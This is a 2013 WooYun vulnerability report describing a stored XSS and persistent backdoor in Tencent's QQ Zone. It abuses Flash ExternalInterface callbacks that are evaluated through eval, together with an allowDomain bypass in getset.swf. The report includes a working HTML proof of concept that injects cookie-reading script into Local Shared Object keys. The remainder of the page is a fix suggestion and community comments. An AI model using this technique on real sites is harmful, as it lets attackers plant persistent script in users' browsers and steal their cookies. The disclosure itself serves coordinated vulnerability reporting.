当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-040108

漏洞标题:QQ空间存储XSS (以及持久后门)

相关厂商:腾讯

漏洞作者: neobyte

提交时间:2013-10-17 20:54

修复时间:2013-12-01 20:54

公开时间:2013-12-01 20:54

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-17: 细节已通知厂商并且等待厂商处理中
2013-10-18: 厂商已经确认,细节仅向厂商公开
2013-10-28: 细节向核心白帽子及相关领域专家公开
2013-11-07: 细节向普通白帽子公开
2013-11-17: 细节向实习白帽子公开
2013-12-01: 细节向公众公开

简要描述:

QQ空间存储XSS (以及持久后门)

详细说明:

一. 背景
(本来我前面有个漏洞已经分析过,但还未公开,为了腾讯的工作人员确认方便,再描述一遍)
关于flash的XSS,除了常见的一些技巧外,目前已知的比较偏门的两类是:
1.ExternalInterface.call的第二个参数,主要利用\",catch(e){}//,wooyun上有很多例子
2.在IE下,当flash调用ExternalInterface.addCallback时,如果object的id可控,可造成xss.这个比较少见,但gainover,p.z,心伤的瘦子几位大牛都给出过实例。
但需要注意的是:当js调用flash暴露出来的callback时,返回值也是一个敏感点!这个并没有看到有人提及,也许被很多人忽视了.
首先来看看js是如何处理flash的callback的:
1.在ie下,其实是

eval(instance.CallFunction("<invoke name=\""+name+"\" returntype=\"javascript\">" + __flash__argumentsToXML(arguments,0) + "</invoke>"));


2.在FF与Chrome等其他浏览器下,其实是

eval(var __flash_temp = "returned value"; __flash_temp;)


注意到这里都调用了eval,再结合ExternalInterface.call的那个\"过滤不全的利用方法, 这个利用方式也就呼之欲出了.
所以只要js中调用了callback函数,而返回值又可被攻击者控制的话,就可以造成xss. IE, Chrome, FF等浏览器均受影响。注意:仅仅读取这个动作就会触发XSS,与读取后如何处置无关。
而这个知识点再结合Flash的Local Shared Object,就有了一个固定的利用套路:如果网站通过js调用了flash添加的回调函数get(xxx),从而读取保存着用户LSO中的数据时,只要这个LSO数据可被攻击者篡改,就可以造成XSS。
二.环境与分析
访问用户qq空间时,会自动加载一个getset.swf

http://qzs.qq.com/qzone/v5/toolpages/getset.swf


然后会调用这个flash的callback函数get,来读取一些保存在LSO中配置,读取时所使用的key如下:
匿名用户访问某空间首页:_widhot_first_clickTime0
登陆用户访问某空间首页:_widhot_first_clickTime+登陆的qq号
登陆用户访问某空间日志:blogfont, hidesign, searchOption等
这个getset.swf的关键代码如下:

var my_so = SharedObject.getLocal("qzone");
function _set(n, v) {
my_so.data[n] = v;
}
function _get(n) {
return(my_so.data[n]);
}
function _interface() {
var _local2 = flash.external.ExternalInterface.call("getShareObjectPrefix");
System.security.allowDomain("user.qzone.qq.com");
System.security.allowDomain("imgcache.qq.com");
System.security.allowDomain("qzml.qq.com");
System.security.allowDomain(_local2 + ".qzone.qq.com");
flash.external.ExternalInterface.addCallback("set", this, _set);
flash.external.ExternalInterface.addCallback("get", this, _get);
}


可见通过get读取,通过set写入。到此未知,我们似乎已经找到了一种攻击的办法,只要我们在一个流量较大的网页内,引入这个getset.swf,通过set函数来修改访问者电脑里的LSO数据,当访问者将来访问QQ空间时,就触发XSS(当然在网吧直接物理修改文件也是可行的)。
但远程攻击还有一个重要的拦路虎:domainA的网页要调用domainB的flash的callback函数,需要flash中调用allowDomain(*)或者allowDomain(domainA)来授权。而这里这个flash只授权了qzone.qq.com等一系列的domain,除非我们能找到这些domain上的存储XSS。(这里同样也是一个提升存储XSS持久性与影响范围的利用技巧,同样因为Callback的机制)
但请注意这行代码:

var _local2 = flash.external.ExternalInterface.call("getShareObjectPrefix");
System.security.allowDomain(_local2 + ".qzone.qq.com");


domainA的网页加载domainB的Flash后,Flash会调用domainA页面内的getShareObjectPrefix函数(这个是受allowScriptAccess控制的),如果此时domainA页面里的这个函数返回一个domainA+'/',那么回到Flash,就变成了

System.security.allowDomain("domainA/.qzone.qq.com");


这个斜线就屏蔽了后面的qzone.qq.com,从而domainA也被授权调用该Flash的callback函数。
三.POC
这里给出简单的POC(渣代码见谅),这里domainA就是127.0.0.1,而domainB是qzs.qq.com,需要在127.0.0.1下访问该页面,需要等待5秒,弹出OK后,本地LSO才被修改完毕。(当然127.0.0.1也可以修改为其他domain)
这个POC仅仅修改了匿名用户访问空间首页时自动读取的LSO key,以及登陆用户访问空间后查看日志时自动读取的一个LSO key。由于QQ空间可能还有很多其他读取LSO的key,所以整体上应该有很多触发点,当然有些key是定向的,有些key是通用的。

<html>
<body>
<object id="getset" tabindex="-1" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="http://qzs.qq.com/qzone/v5/toolpages/getset.swf">
<param name="allowScriptAccess" value="always">
<embed name="getset" src="http://qzs.qq.com/qzone/v5/toolpages/getset.swf" width="1" height="1" allowscriptaccess="always" flashvars="jsproxyfunction=test" type="application/x-shockwave-flash" pluginspage="http://www.adobe.com/go/getflashplayer">
</object>
<script>
function getShareObjectPrefix(){
return "127.0.0.1/";
}
setTimeout('myset()', 5000);
function myset(){
document['getset'].set('_widhot_first_clickTime0','aa\\";alert(document.cookie)//aa');
document['getset'].set('blogfont','aa\\";alert(document.cookie)//aa');
document['getset'].flush();
alert('ok');
}
</script>

漏洞证明:

qzone.PNG

修复方案:

考虑到远程与物理两种篡改LSO的方式,allowDomain与callback的返回值可能都得检查。

版权声明:转载请注明来源 neobyte@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-10-18 15:44

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2013-10-17 20:56 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)

    mark

  2. 2013-10-17 20:58 | 浅蓝 ( 普通白帽子 | Rank:274 漏洞数:109 | 爱安全:www.ixsec.orgXsec社区:zone.ixse...)

    mark

  3. 2013-10-17 21:25 | Jumbo ( 普通白帽子 | Rank:111 漏洞数:29 | 猫 - http://www.chinabaiker.com)

  4. 2013-10-17 21:43 | xxw ( 路人 | Rank:29 漏洞数:18 | 中国梦)

    mark

  5. 2013-10-17 21:43 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远,还需要厂商和白帽...)

    mark

  6. 2013-10-17 21:45 | Mas ( 实习白帽子 | Rank:42 漏洞数:15 )

    mark

  7. 2013-10-17 22:25 | 萧然 ( 路人 | Rank:0 漏洞数:2 | 喜欢一切美丽的东西!)

    20

  8. 2013-10-17 22:26 | by灰客 ( 路人 | Rank:20 漏洞数:12 )

    mark

  9. 2013-10-17 22:47 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @萧然 3

  10. 2013-10-17 23:01 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    这个酷啊

  11. 2013-10-17 23:54 | 萧然 ( 路人 | Rank:0 漏洞数:2 | 喜欢一切美丽的东西!)

    @px1624 打赌?

  12. 2013-10-18 07:37 | B1acken ( 普通白帽子 | Rank:174 漏洞数:56 | 渣渣)

    围观

  13. 2013-10-18 09:10 | lol ( 路人 | Rank:0 漏洞数:1 | 死机中。。LOLOLOLOLOLOLOLOLOLOLOLOLOLOLO...)

    mark

  14. 2013-10-18 09:14 | 龙辰 ( 路人 | Rank:2 漏洞数:1 | The Dark worId Need To Clean The Blood)

    围观

  15. 2013-10-18 09:38 | M0nster ( 实习白帽子 | Rank:53 漏洞数:17 | 允许我国的艺术家先富起来)

    mark

  16. 2013-10-18 10:02 | 冷静 ( 路人 | Rank:3 漏洞数:2 )

    @萧然 你身无RANK赌手吗

  17. 2013-10-18 10:19 | Evi1m0 ( 路人 | Rank:8 漏洞数:2 | 邪红色信息安全组织)

    mark

  18. 2013-10-18 10:22 | 萧然 ( 路人 | Rank:0 漏洞数:2 | 喜欢一切美丽的东西!)

    @冷静 没RANK 赌wb啊,rank又不能赌,没RANK有wb不正常?

  19. 2013-10-18 10:26 | p0di ( 普通白帽子 | Rank:121 漏洞数:17 | 1+1 = 2 ?)

    我想审漏洞,我艹。。。

  20. 2013-10-18 10:34 | Mas ( 实习白帽子 | Rank:42 漏洞数:15 )

    @萧然 RANK不就是WB吗?难倒我火星了吗

  21. 2013-10-18 10:37 | 萧然 ( 路人 | Rank:0 漏洞数:2 | 喜欢一切美丽的东西!)

    @Mas 你去查一下你的Rank:37然后你的wb多少 不是一个概念

  22. 2013-10-18 10:43 | Mas ( 实习白帽子 | Rank:42 漏洞数:15 )

    @萧然 我WB就是37 有什么疑问?

  23. 2013-10-18 10:46 | Mas ( 实习白帽子 | Rank:42 漏洞数:15 )

    @萧然 你提交的两个洞 厂商都忽略了 你的wb哪来的 莫非是哪个大牛的小号?

  24. 2013-10-18 11:14 | 萧然 ( 路人 | Rank:0 漏洞数:2 | 喜欢一切美丽的东西!)

    @Mas 额..我不会告诉你我的WB是@疯狗 发的

  25. 2013-10-18 11:28 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @萧然 最佳洞主么?

  26. 2013-11-18 20:36 | 纷纭 ( 路人 | Rank:19 漏洞数:8 | 学习者。)

    貌似是看到的第二个用FLASH的了SOL

  27. 2013-12-01 22:38 | noob ( 实习白帽子 | Rank:81 漏洞数:18 | 向各位大神学习,向各位大神致敬)

    这个bug似乎跟淘宝登录的那个一样

  28. 2013-12-02 08:18 | 啊L川 ( 普通白帽子 | Rank:195 漏洞数:39 | 菜鸟 ,菜渣, 菜呀!)